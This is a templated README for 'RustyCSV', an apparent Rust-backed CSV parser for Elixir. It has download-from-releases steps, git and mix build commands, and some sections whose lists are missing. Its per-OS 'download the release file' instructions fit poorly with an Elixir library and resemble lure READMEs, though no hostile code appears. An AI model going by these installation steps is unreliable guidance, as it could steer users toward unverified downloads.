Welcome to RustyCSV! RustyCSV offers high-performance parsing for CSV files in Elixir. It uses Rust Native Implemented Functions (NIF) to provide speed and efficiency. With SIMD acceleration, parallel parsing, and bounded-memory streaming, RustyCSV serves as a powerful alternative to NimbleCSV.
To run RustyCSV smoothly, ensure your system meets the following requirements:
If you need help setting up Rust, visit the official Rust installation guide.
To begin using RustyCSV, follow these easy steps:
Visit the Releases Page: Click here to download RustyCSV.
Download the Latest Release: On the releases page, find the latest version of RustyCSV. Look for a file that matches your operating system. Click the link to download the file to your computer.
Locate the Downloaded File: Once the download is complete, go to the folder where your browser saves files. You should see the RustyCSV file ready for installation.
Find the latest version of RustyCSV on our releases page:
Download RustyCSV
If you prefer to build RustyCSV from source, follow these steps:
git clone https://github.com/anonsourabh/RustyCSV.git
cd RustyCSV
mix deps.get
mix compile
mix run
Once you have RustyCSV, you can begin parsing CSV files. Here is a simple usage example.
mix run lib/rustycsv.exs path/to/your/file.csv
If you run into issues, start by checking the following:
mix deps.get to install any missing dependencies.For additional help, consider checking the open issues on our GitHub page, where other users might have faced similar challenges.
Contributions to RustyCSV are welcome! If you want to help improve the project:
Fork the Repository: Click the βForkβ button on the top right of the GitHub page.
git checkout -b feature/YourFeatureName
Explore more about RustyCSV and dive deeper into CSV parsing:
Thank you for choosing RustyCSV! Enjoy faster CSV parsing.